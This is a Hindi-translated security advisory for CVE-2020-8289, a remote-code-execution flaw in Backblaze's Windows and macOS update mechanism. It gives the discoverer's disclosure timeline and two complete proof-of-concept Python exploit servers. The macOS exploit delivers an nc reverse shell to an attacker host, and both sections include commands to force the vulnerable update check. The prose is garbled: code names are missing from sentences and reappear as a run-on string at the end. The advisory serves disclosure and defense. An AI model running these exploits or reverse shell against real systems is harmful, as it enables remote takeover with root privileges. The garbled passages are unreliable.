
CVE-2020-8289 – Remote Code Execution as SYSTEM/root via Backblaze
नाम: Backblaze के माध्यम से SYSTEM/root के रूप में रिमोट कोड निष्पादन
CVE: CVE-2020-8289
खोजकर्ता: Jason Geffner
विक्रेता: Backblaze
उत्पाद: Windows के लिए Backblaze और macOS के लिए Backblaze
जोखिम: गंभीर
खोज तिथि: 2020-03-13
प्रकाशन तिथि: 2020-09-09
स्थिर संस्करण: 7.0.1.433 (Windows) और 7.1.0.434 (macOS)
विकिपीडिया के अनुसार, Backblaze है
"एक ऑनलाइन बैकअप उपकरण जो Windows और macOS उपयोगकर्ताओं को अपने डेटा का बैकअप ऑफसाइट डेटा केंद्रों में ले जाने की अनुमति देता है। यह सेवा व्यवसायों और अंतिम उपयोगकर्ताओं के लिए डिज़ाइन की गई है, असीमित संग्रहण स्थान प्रदान करती है और असीमित फ़ाइल आकार का समर्थन करती है।"
Backblaze for Windows और Backblaze for macOS के कमजोर संस्करणों में एक गंभीर जोखिम भेद्यता है जो एक अविशेषित अज्ञात दूरस्थ हमलावर को SYSTEM/root के रूप में रिमोट कोड निष्पादन (RCE) करने की अनुमति देती है।
Backblaze क्लाइंट की सेवा प्रक्रिया, जिसका नाम bzserv है, Windows पर SYSTEM के रूप में और macOS पर root के रूप में चलती है। हर कुछ घंटों में, bzserv एक प्रोग्राम चलाता है जिसका नाम bztransmit है (जो SYSTEM/root के रूप में निष्पादित होता है) जो Backblaze के डेटा केंद्र से clientversion.xml नामक एक XML फ़ाइल डाउनलोड करता है ताकि यह देख सके कि Backblaze क्लाइंट का कोई नया संस्करण डाउनलोड के लिए उपलब्ध है या नहीं। इस XML फ़ाइल का URL स्थापित bzinstall.xml फ़ाइल (अविशेषित उपयोगकर्ताओं के लिए केवल-पढ़ने योग्य) में bzdatacenter होस्टनाम और हार्डकोडेड पथ api/clientversion.xml से बनाया जाता है, जिसके परिणामस्वरूप https://ca000.backblaze.com/api/clientversion.xml जैसा URL प्राप्त होता है। यह डाउनलोड एक स्थिर रूप से जुड़ी libcurl लाइब्रेरी के माध्यम से किया जाता है। हालांकि, फ़ंक्शन जो का लाभ उठाते हैं, उनमें अजीब तर्क है जो उन्हें को और को पर सेट करने का कारण बनता है यदि दिए गए URL में निम्नलिखित स्ट्रिंग्स में से एक है:
.backblaze.xyz/.backblazeb2.xyz/api/clientversion.xmlapi/install_backblazeयह एक दूरस्थ हमलावर को अमान्य SSL प्रमाणपत्र (उदाहरण के लिए, एक स्व-हस्ताक्षरित प्रमाणपत्र) के साथ वेब सर्वर https://ca000.backblaze.com/ के रूप में प्रतिरूपण करने और क्लाइंट को हमलावर-नियंत्रित clientversion.xml फ़ाइल प्रदान करने की अनुमति देता है। जब bztransmit डाउनलोड की गई XML फ़ाइल को पार्स करता है, तो यह जांचता है कि XML फ़ाइल में वर्णित नवीनतम क्लाइंट संस्करण स्थापित क्लाइंट संस्करण से नया है या नहीं और यदि ऐसा है, तो नवीनतम क्लाइंट संस्करण का इंस्टॉलर Backblaze के डेटा केंद्र से डाउनलोड करता है। इस डाउनलोड का URL डाउनलोड की गई clientversion.xml फ़ाइल में win32_url/mac_url विशेषता से बनाया जाता है; विशेषता का मान %DEST_HOST% से शुरू होना चाहिए और उस स्ट्रिंग को रनटाइम पर ऊपर वर्णित डेटा केंद्र होस्टनाम से बदल दिया जाता है। इस प्रकार हमलावर अपने clientversion.xml में एक डाउनलोड URL जैसे %DEST_HOST%/api/install_backblaze प्रदान कर सकता है, ताकि bztransmit इंस्टॉलर को https://ca000.backblaze.com/api/install_backblaze से डाउनलोड करे, और URL में api/install_backblaze स्ट्रिंग के कारण सर्वर के SSL प्रमाणपत्र को फिर से अनदेखा करे। यदि डाउनलोड की गई फ़ाइल एक ZIP फ़ाइल नहीं है (उदाहरण के लिए, यदि यह एक PE फ़ाइल या Mach-o फ़ाइल है) तो द्वारा की गई फ़ाइल की एकमात्र मान्यता यह है कि फ़ाइल में फ़ाइल के एक निश्चित ऑफसेट रेंज में स्ट्रिंग होनी चाहिए। एक बार जब यह मान्यता पारित हो जाती है, तो डाउनलोड की गई फ़ाइल को / के रूप में चलाने के लिए / का उपयोग करता है, जिससे हमलावर को / के रूप में RCE करने की अनुमति मिलती है।
वीडियो: https://youtu.be/W0THXbcX5V8
यह प्रूफ ऑफ कॉन्सेप्ट Windows क्लाइंट के लिए है। हम मानते हैं कि हमलावर ने पहले ही पीड़ित को एक स्पूफ किया हुआ DNS प्रतिक्रिया भेज दी है ताकि ca000.backblaze.com को हमलावर के IP पर इंगित किया जा सके, लेकिन PoC परीक्षण उद्देश्यों के लिए आप इसके बजाय पीड़ित के %windir%\System32\drivers\etc\hosts फ़ाइल में लाइन <हमलावर का IP> ca000.backblaze.com जोड़ सकते हैं। नीचे दिया गया कोड हमलावर से rce.exe (जो पीड़ित के सिस्टम पर SYSTEM के रूप में निष्पादित होगा) और server.pem (जो स्व-हस्ताक्षरित हो सकता है) प्रदान करने की अपेक्षा करता है।
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8289 for Windows."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl
bzmagicpat = b"bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
b"xzgromitxxkublerrossxxskiepicxxnukepavex"
with open("rce.exe", "rb") as f:
exe = f.read()
if len(exe) > (50200 - len(bzmagicpat)):
raise("EXE too large")
exe += bzmagicpat
exe += b"\x00" * (50304 - len(exe))
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", str(len(exe)))
self.end_headers()
self.wfile.write(exe)
def do_POST(self):
self.send_response(200)
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={"REQUEST_METHOD": "POST"})
response = str.encode(
' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
' win32_version="1' + form.getvalue("version") + '"' +
' win32_url="%DEST_HOST%/api/install_backblaze"')
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
def do_CONNECT(self):
self.wfile.write("HTTP/1.1 200\r\n")
self.end_headers()
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
self.close_connection = 0
httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
server_side=True)
httpd.serve_forever()
उपरोक्त कोड चलने के बाद, प्रतीक्षा करें। पीड़ित का क्लाइंट हर कुछ घंटों में अपडेट की जाँच करता है।
यदि आप बिना प्रतीक्षा किए PoC का परीक्षण करना चाहते हैं, तो आप पीड़ित के सिस्टम पर अपडेट जाँच को बलपूर्वक करने के लिए निम्नलिखित कमांड SYSTEM के रूप में चला सकते हैं (उदाहरण के लिए, psexec का उपयोग करके):
del %ProgramData%\Backblaze\bzdata\bzupdates\bzautoupdate_2_hour_lock.lckbztransmit.exe -fetchclientversionxmlbztransmit.exe -downloadautoupdateifappropriateवीडियो: https://youtu.be/ILPP1Ky5nuY
यह प्रूफ ऑफ कॉन्सेप्ट macOS क्लाइंट के लिए है। वास्तविक दुनिया में, एक हमलावर पीड़ित को एक स्पूफ किया हुआ DNS प्रतिक्रिया भेजेगा ताकि ca000.backblaze.com को हमलावर के IP पर इंगित किया जा सके, लेकिन PoC उद्देश्यों के लिए, हम पीड़ित के समान सिस्टम से हमला कर रहे हैं और समझौता किए गए Backblaze सेवा का शोषण करके हमलावर के पास एक रिमोट-शेल बैक बना रहे हैं, जिससे संभावित दूरस्थ हमलावर को रूट एक्सेस मिल जाती है।
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8289 for macOS."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl
attacker_ip = "localhost"
attacker_port = 12345
reverse_shell = "mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + \
f"{attacker_ip} {attacker_port} >/tmp/f"
bzmagicpat = "bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
"xzgromitxxkublerrossxxskiepicxxnukepavex"
payload = reverse_shell + "\n" + bzmagicpat
payload += "A" * (50304 - len(payload))
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", str(len(payload)))
self.end_headers()
self.wfile.write(payload.encode())
def do_POST(self):
self.send_response(200)
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={"REQUEST_METHOD": "POST"})
response = str.encode(
' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
' win32_version="1' + form.getvalue("version") + '"' +
' mac_version="1' + form.getvalue("version") + '"' +
' mac_url="%DEST_HOST%/api/install_backblaze"')
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
def do_CONNECT(self):
self.wfile.write("HTTP/1.1 200\r\n")
self.end_headers()
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
self.close_connection = 0
httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
server_side=True)
httpd.serve_forever()
उपरोक्त कोड चलने के बाद, प्रतीक्षा करें। पीड़ित का क्लाइंट हर कुछ घंटों में अपडेट की जाँच करता है।
यदि आप बिना प्रतीक्षा किए PoC का परीक्षण करना चाहते हैं, तो आप पीड़ित के सिस्टम पर अपडेट जाँच को बलपूर्वक करने के लिए निम्नलिखित कमांड चला सकते हैं:
sudo rm /Library/Backblaze.bzpkg/bzdata/bzupdates/bzautoupdate_2_hour_lock.lcksudo /Library/Backblaze.bzpkg/bztransmit -fetchclientversionxmlsudo /Library/Backblaze.bzpkg/bztransmit -downloadautoupdateifappropriateBackblaze ने Windows के लिए Backblaze संस्करण 7.0.1.433 और macOS के लिए संस्करण 7.0.1.434 में इस भेद्यता को ठीक किया।
यह भेद्यता Jason Geffner द्वारा HackerOne के माध्यम से Backblaze को खोजी और रिपोर्ट की गई थी।
2020-03-13 - भेद्यता का पता लगाया गया और HackerOne के माध्यम से Backblaze को रिपोर्ट किया गया
2020-03-31 - HackerOne ने भेद्यता की पुष्टि की
2020-04-09 - Windows बिल्ड 7.0.1.433 और macOS बिल्ड 7.1.0.434 जारी किया गया
2020-04-17 - CVE-2020-8150 असाइन किया गया
2020-04-18 - भेद्यता शमन की पुष्टि की गई
2020-04-20 - सार्वजनिक प्रकटीकरण का अनुरोध किया गया
2020-09-09 - सार्वजनिक प्रकटीकरण
2020-12-22 - CVE असाइनमेंट को CVE-2020-8289 में बदल दिया गया
bztransmitlibcurlCURLOPT_SSL_VERIFYPEER0CURLOPT_SSL_VERIFYHOST0bztransmitbzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxyxzgromitxxkublerrossxxskiepicxxnukepavexbztransmitSYSTEMrootShellExecute()system()SYSTEMroot